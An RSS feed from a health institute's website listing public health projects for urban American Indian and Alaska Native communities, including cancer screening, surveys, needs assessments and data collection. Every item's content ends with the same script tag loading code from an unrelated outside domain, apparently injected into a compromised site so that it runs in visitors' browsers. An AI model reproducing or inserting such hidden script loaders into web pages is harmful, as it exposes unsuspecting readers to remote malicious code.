<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>the Urban Indian Health Institute &#187; Project Descriptions</title>
	<atom:link href="http://www.uihi.org/category/project-descriptions/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.uihi.org</link>
	<description>a division of the Seattle Indian Health Board</description>
	<lastBuildDate>Wed, 01 Sep 2010 00:03:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PSA Project</title>
		<link>http://www.uihi.org/psa-project/</link>
		<comments>http://www.uihi.org/psa-project/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 16:51:42 +0000</pubDate>
		<dc:creator>Meghan Jernigan</dc:creator>
				<category><![CDATA[Cancer]]></category>
		<category><![CDATA[Project Descriptions]]></category>

		<guid isPermaLink="false">http://www.uihi.org/?p=945</guid>
		<description><![CDATA[The Urban Indian Health Institute (UIHI) and the Fred Hutch Cancer Research Center (FHCRC) are partnering to conduct an investigation related to access to prostate cancer care for American Indian/Alaska Native (AI/AN) men. This study will examine the feasibility of identifying men who have had an abnormal Prostate Specific Antigen (PSA) test, then characterizing the [...]]]></description>
			<content:encoded><![CDATA[<p>The Urban Indian Health Institute (UIHI) and the Fred Hutch Cancer Research Center (FHCRC) are partnering to conduct an investigation related to access to prostate cancer care for American Indian/Alaska Native (AI/AN) men. This study will examine the feasibility of identifying men who have had an abnormal Prostate Specific Antigen (PSA) test, then characterizing the patterns of care for those individuals. Our goal is to identify barriers to care for men who have not had adequate follow-up after an abnormal PSA test.</p>
<p>The UIHI has identified 6 partner health organization sites for recruitment of study participants. The participating sites are:</p>
<p>1.    <a href="http://www.sihb.org">Seattle, WA</a><br />
2.    <a href="http://www.naranorthwest.org/">Portland, OR</a><br />
3.    <a href="http://www.indianhealthcenter.org/">San Jose, CA</a><br />
4.    <a href="http://www.nativehealth.org/">Oakland, CA</a><br />
5.    <a href="http://www.hunterhealthclinic.org/">Wichita, KA</a><br />
6.    <a href="http://www.nuihc.com/">Lincoln, NE</a></p>
<p><a href="http://www.uihi.org/wp-content/uploads/2010/06/Prostate-Fact-Sheet-Final_08-13-09_MAJ.pdf">Prostate Cancer Factsheet</a><br />
<a href="http://www.uihi.org/wp-content/uploads/2010/06/PSA_Communication-Broadcast.pdf">PSA Communication Broadcast</a></p>
<p>For more information on this project, please contact:</p>
<p>Meghan Jernigan, MPH<br />
Project Coordinator<br />
Urban Indian Health Institute<br />
Seattle Indian Health Board<br />
meghanj@uihi.org<br />
Voice: (206) 812-3038<br />
Fax: (206) 812-3044 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/psa-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Testing of Sexual Violence Definitions and Recommended Data Elements in American Indian and Alaska Native Communities</title>
		<link>http://www.uihi.org/testing-of-sexual-violence-definitions-and-recommended-data-elements-in-american-indian-and-alaska-native-communities/</link>
		<comments>http://www.uihi.org/testing-of-sexual-violence-definitions-and-recommended-data-elements-in-american-indian-and-alaska-native-communities/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 19:28:17 +0000</pubDate>
		<dc:creator>Alice Park</dc:creator>
				<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Sexual Violence]]></category>

		<guid isPermaLink="false">http://www.uihi.org/?p=860</guid>
		<description><![CDATA[The goal of the project is to develop a new sexual violence survey and determine its effectiveness in gathering information to assess more precise details related to sexual violence experienced by American Indian and Alaska Native (AI/AN) women. The project is funded by the Centers For Disease Control and Prevention (CDC) who have contracted with [...]]]></description>
			<content:encoded><![CDATA[<p>The goal of the project is to develop a new sexual violence survey and determine its effectiveness in gathering information to assess more precise details related to sexual violence experienced by American Indian and Alaska Native (AI/AN) women.  The project is funded by the Centers For Disease Control and Prevention (CDC) who have contracted with the National Opinion Research Center at the University of Chicago (NORC) to conduct the interviews.</p>
<p>The project is divided in two phases: the cognitive interview (Phase 1) and face-to-face interview (Phase 2). The purpose of the first phase is to develop and test a culturally appropriate survey to describe characteristics and circumstances related to sexual violence within the community. Revisions to the survey will be made as a result of Phase 1, then the survey will be fielded with 200 AI/AN women.  The overall purpose of the project is to use a comprehensive sexual violence survey instrument to improve our understanding about sexual violence victimization prevalence, characteristics, circumstances, and help-seeking behavior in a sample of AI/AN women.</p>
<p>Timeframe: August 2009-August 2010</p>
<p>Point of Contact/Phone number/E-mail address:</p>
<p>Alice Park, Lead Project Coordinator, Urban Indian Health Institute, (206) 812-3030, alicep@uihi.org <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/testing-of-sexual-violence-definitions-and-recommended-data-elements-in-american-indian-and-alaska-native-communities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WEAVING Project’s new website</title>
		<link>http://www.uihi.org/weaving-project%e2%80%99s-new-website/</link>
		<comments>http://www.uihi.org/weaving-project%e2%80%99s-new-website/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 21:41:28 +0000</pubDate>
		<dc:creator>Annie Phare</dc:creator>
				<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[Weaving Project]]></category>

		<guid isPermaLink="false">http://www.uihi.org/weaving-project%e2%80%99s-new-website/</guid>
		<description><![CDATA[The UIHI is pleased to announce the launch of the WEAVING Project’s new website! Through the WEAVING Project, the UIHI offers technical assistance services to urban Indian health organizations (UIHO) and state Breast and Cervical Cancer Early Detection Programs (BCCEDP) with the aim to increase breast and cervical cancer screening services for urban American Indian [...]]]></description>
			<content:encoded><![CDATA[<p><img title="arch" src="http://www.uihi.net/Public/Images/weavingarchsmall.png" alt="arch" width="145" height="132" /></p>
<p>The UIHI is pleased to announce the launch of the WEAVING Project’s new website!</p>
<p>Through the WEAVING Project, the UIHI offers technical assistance services to urban Indian health organizations (UIHO) and state Breast and Cervical Cancer Early Detection Programs (BCCEDP) with the aim to increase breast and cervical cancer screening services for urban American Indian and Alaska Native women.</p>
<p>Website visitors can download fact sheets and other project materials, learn more about UIHO and BCCEDP, and access other WEAVING Project information.  Check out the new website at <a href="http://www.theweavingproject.org">www.theweavingproject.org</a>. <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/weaving-project%e2%80%99s-new-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Colorectal Cancer</title>
		<link>http://www.uihi.org/colorectal-cancer/</link>
		<comments>http://www.uihi.org/colorectal-cancer/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 19:00:42 +0000</pubDate>
		<dc:creator>Alice Park</dc:creator>
				<category><![CDATA[Colorectal]]></category>
		<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[UIHI]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[The Urban Indian Health Institute is pleased to release materials developed from the Urban Indian C.A.R.E.S. (Colon and Rectal Education and Screening) project.  The goal of Urban Indian C.A.R.E.S. is to promote education, testing, and treatment of colorectal cancer for urban American Indians and Alaska Natives (AI/AN) through the Urban Indian Health Organizations (UIHO) nationwide. [...]]]></description>
			<content:encoded><![CDATA[<p>The Urban Indian Health Institute is pleased to release materials developed from the Urban Indian C.A.R.E.S. (Colon and Rectal Education and Screening) project.  The goal of Urban Indian C.A.R.E.S. is to promote education, testing, and treatment of colorectal cancer for urban American Indians and Alaska Natives (AI/AN) through the Urban Indian Health Organizations (UIHO) nationwide.</p>
<p>Cancer is the second leading cause of death among AI/AN.  Colorectal cancer <strong>can be prevented</strong> if detected early.  But American Indians/Alaska Natives are less likely to be diagnosed with colorectal cancer at the localized stage and more likely to be diagnosed at the distant stage compared to whites.  Additionally, AI/AN have a lower probability of survival and higher risk of death once diagnosed compared to whites.</p>
<p>The Urban Indian C.A.R.E.S. project has developed materials for a health promotion campaign packet consisting of a community poster, postcard, and factsheet. The community poster features an AI/AN colorectal cancer survivor named Ruby James, and can be placed in waiting rooms, lobbies, and exam rooms at Indian health centers and health fairs.  The postcard can be distributed by healthcare providers, outreach education staff, and at community events.  The fact sheet can be used to educate Executive Directors, providers, and other leadership about the need for increased education and screening for colorectal cancer among AI/ANs.    All materials are customizable and may include the photo and story of a local survivor.</p>
<p><a title="C.A.R.E.S. Postcard" href="http://www.uihi.org/wp-content/uploads/2010/02/cares-postcard-01-05-09.pdf">C.A.R.E.S. Postcard</a> (PDF)<br />
<a title="C.A.R.E.S. Factsheet" href="http://www.uihi.org/wp-content/uploads/2008/11/cares-fact-sheet1.pdf">C.A.R.E.S. Factsheet</a> (PDF)<br />
<a title="C.A.R.E.S. poster" href="http://www.uihi.org/wp-content/uploads/2008/11/cares-poster-final-web1.pdf">C.A.R.E.S. Poster</a> (PDF)</p>
<p>Please contact Alice Park for more C.A.R.E.S. information or if you would like access to customizable templates for these materials.</p>
<p>Contact:  Alice Park at (206) 812-3034 or <a href="mailto:alicep@uihi.org">alicep@uihi.org</a> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/colorectal-cancer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tobacco Survey</title>
		<link>http://www.uihi.org/tobacco-survey/</link>
		<comments>http://www.uihi.org/tobacco-survey/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:58 +0000</pubDate>
		<dc:creator>Alice Park</dc:creator>
				<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[Tobacco]]></category>
		<category><![CDATA[UIHI]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[The Urban Indian Health Institute conducted a pilot project to provide baseline data on tobacco use prevalence, knowledge, attitudes and beliefs among American Indian/Alaska Native clients of two urban Indian health organizations. The urban American Indian/Alaska Native adult tobacco survey was conducted with 224 adults in the Seattle and Portland areas. The results document a [...]]]></description>
			<content:encoded><![CDATA[<p>The Urban Indian Health Institute conducted a pilot project to provide baseline data on tobacco use prevalence, knowledge, attitudes and beliefs among American Indian/Alaska Native clients of two urban Indian health organizations.  The urban American Indian/Alaska Native adult tobacco survey was conducted with 224 adults in the Seattle and Portland areas.  The results document a high prevalence of tobacco use among American Indian/Alaska Native living in these two urban areas and the need for tobacco control programs focused on the urban American Indian/Alaska Native population.  The findings may be used to direct future program planning and intervention strategies.</p>
<p>Partners: <a title="Native American Rehabilitation Association of the Northwest" href="http://www.naranorthwest.org/" target="_blank">Native American Rehabilitation Association of the Northwest</a></p>
<p>Contact: Alice Park, phone 206-812-3034 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/tobacco-survey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Emergency Preparedness</title>
		<link>http://www.uihi.org/emergency-preparedness/</link>
		<comments>http://www.uihi.org/emergency-preparedness/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:57 +0000</pubDate>
		<dc:creator>Rachel Brucker</dc:creator>
				<category><![CDATA[Emergency Preparedness]]></category>
		<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[UIHI]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[Emergency preparedness is a vital function of health departments, hospitals and clinics in identifying unexpected events that may impact their community. However, uncertainty surrounding authority and responsibility of federal, state and local governments in providing public health support to UIHOs complicates the delivery of emergency preparedness services. In an effort to address this problem and [...]]]></description>
			<content:encoded><![CDATA[<p>Emergency preparedness is a vital function of health departments, hospitals and clinics in identifying unexpected events that may impact their community.  However, uncertainty surrounding authority and responsibility of federal, state and local governments in providing public health support to UIHOs complicates the delivery of emergency preparedness services.  In an effort to address this problem and facilitate collaboration between the UIHOs and their respective public health agencies, the Urban Indian Health Institute will conduct a comprehensive emergency preparedness evaluation of all 34 UIHOs.  This project has three aims: 1) to become familiar with local/state/national plans for emergencies/disasters/pandemics, to identify how involved UIHO are in local emergency preparedness planning along with associated challenges, 2) to identify to what degree UIHO are able to respond to an emergency and 3) to help develop UIHO capacity for such a response.</p>
<p>Partners: <a title="Indian Health Service" href="http://www.ihs.gov" target="_blank">Indian Health Service</a></p>
<p>Contact: Rachel Brucker, phone 206-812-3042 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/emergency-preparedness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Urban Indian Needs Assessment: Bemidji Needs Assessment</title>
		<link>http://www.uihi.org/urban-indian-needs-assessment-bemidji-needs-assessment/</link>
		<comments>http://www.uihi.org/urban-indian-needs-assessment-bemidji-needs-assessment/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:56 +0000</pubDate>
		<dc:creator>Alice Park</dc:creator>
				<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[Urban Needs Assessment]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[The primary goal of this project is to provide characterizing information about the health needs of urban American Indians and Alaska Natives (AI/AN) living in the Bemidji area. This information may then be used for program planning and priority setting. The lack of data on urban AI/AN impedes the ability to raise funds to support [...]]]></description>
			<content:encoded><![CDATA[<p>The primary goal of this project is to provide characterizing information about the health needs of urban American Indians and Alaska Natives (AI/AN) living in the Bemidji area.  This information may then be used for program planning and priority setting.  The lack of data on urban AI/AN impedes the ability to raise funds to support or expand services, and to make the case to local policy-makers and legislators that AI/AN health is an important issue in urgent need of attention and investment. It is anticipated that approximately 2,400 interviews (400 at each of six urban sites) will be conducted either by telephone or in person.  The six urban sites will include the five urban Indian health organizations in the Bemidji area (Chicago, Minneapolis, Green Bay, Milwaukee and Detroit) as well as Grand Rapids, Michigan.</p>
<p>Partners: <a title="Bemidji Indian Health Service" href="http://www.ihs.gov/FacilitiesServices/areaOffices/Bemidji/" target="_blank">Bemidji Indian Health Service</a>, <a title="Great Lakes Tribal Epidemiology Center" href="http://www.glitc.org/epicenter/" target="_blank">Great Lakes Tribal Epidemiology Center</a>, urban Indian health organizations in Bemidji area, Bemidji Advisory Committee</p>
<p>Contact: Alice Park, phone 206-812-3034 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/urban-indian-needs-assessment-bemidji-needs-assessment/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Urban American Indian/Alaska Native Youth Project</title>
		<link>http://www.uihi.org/urban-american-indianalaska-native-youth/</link>
		<comments>http://www.uihi.org/urban-american-indianalaska-native-youth/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:52 +0000</pubDate>
		<dc:creator>Shira Rutman</dc:creator>
				<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[UIHI]]></category>
		<category><![CDATA[Urban Indian Youth]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[A report on urban American Indian/Alaska Native youth is currently in draft form and is expected to be released in early 2007. This report includes findings from 4 national data sources, including Youth Risk Behavioral Survey data, and examines disparities in health risk behaviors between urban American Indian/Alaska Native youth and urban white youth. A [...]]]></description>
			<content:encoded><![CDATA[<p>A report on urban American Indian/Alaska Native youth is currently in draft form and is expected to be released in early 2007.  This report includes findings from 4 national data sources, including Youth Risk Behavioral Survey data, and examines disparities in health risk behaviors between urban American Indian/Alaska Native youth and urban white youth.   A manuscript describing the findings of a comprehensive analysis of Youth Risk Behavioral Survey data from 1997 to 2003 was accepted for publication in a special issue of the Maternal and Child Health Journal.  The findings of this study were presented at the American Public Health Association meeting in Boston in October 2006 and at the Centers for Disease Control’s Maternal and Child Health Epidemiology Conference in Atlanta, GA in December 2006.</p>
<p>Contact: Shira Rutman, phone 415-374-7868 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/urban-american-indianalaska-native-youth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Diabetes Data Collection</title>
		<link>http://www.uihi.org/diabetes-data-collection/</link>
		<comments>http://www.uihi.org/diabetes-data-collection/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:51 +0000</pubDate>
		<dc:creator>Ursula Tsosie</dc:creator>
				<category><![CDATA[Data Collection]]></category>
		<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[UIHI]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[In collaboration with the Indian Health Service, the Urban Indian Health Institute is participating in the analysis and reporting of diabetes data for urban programs, collected through the Indian Health Service Diabetes Audit for the years 2000-2005. Results of the analysis will be provided to the Indian Health Service and the Urban Indian Health Organizations. [...]]]></description>
			<content:encoded><![CDATA[<p>In collaboration with the <a title="Indian Health Service" href="www.ihs.gov" target="_blank">Indian Health Service</a>, the Urban Indian Health Institute is participating in the analysis and reporting of diabetes data for urban programs, collected through the Indian Health Service Diabetes Audit for the years 2000-2005.  Results of the analysis will be provided to the Indian Health Service and the Urban Indian Health Organizations.</p>
<p>Contact: Rachel Brucker, phone 206-812-3042 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/diabetes-data-collection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EXPORT Project</title>
		<link>http://www.uihi.org/export-project/</link>
		<comments>http://www.uihi.org/export-project/#comments</comments>
		<pubDate>Mon, 01 Jan 2007 19:00:45 +0000</pubDate>
		<dc:creator>Jessie Folkman</dc:creator>
				<category><![CDATA[Export]]></category>
		<category><![CDATA[Project Descriptions]]></category>
		<category><![CDATA[UIHI]]></category>

		<guid isPermaLink="false">http://s21119.gridserver.com/http:/example.com/category/post-name/</guid>
		<description><![CDATA[Coordinated by the Urban Indian Health Institute, the Export Project was a collaborative project between five urban Indian health organizations with the aim to assess the prevalence of select cardiovascular disease risk factors among urban American Indian and Alaska Native adolescents. Data was collected through medical chart review. This project is in the final stage [...]]]></description>
			<content:encoded><![CDATA[<p>Coordinated by the Urban Indian Health Institute, the Export Project was a collaborative project between five urban Indian health organizations with the aim to assess the prevalence of select cardiovascular disease risk factors among urban American Indian and Alaska Native adolescents.  Data was collected through medical chart review.  This project is in the final stage of data analysis.  Upon completion, results will be reported back to the participating sites.</p>
<p>Contact: Jessie Folkman, phone 206-812-3033 <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.uihi.org/export-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
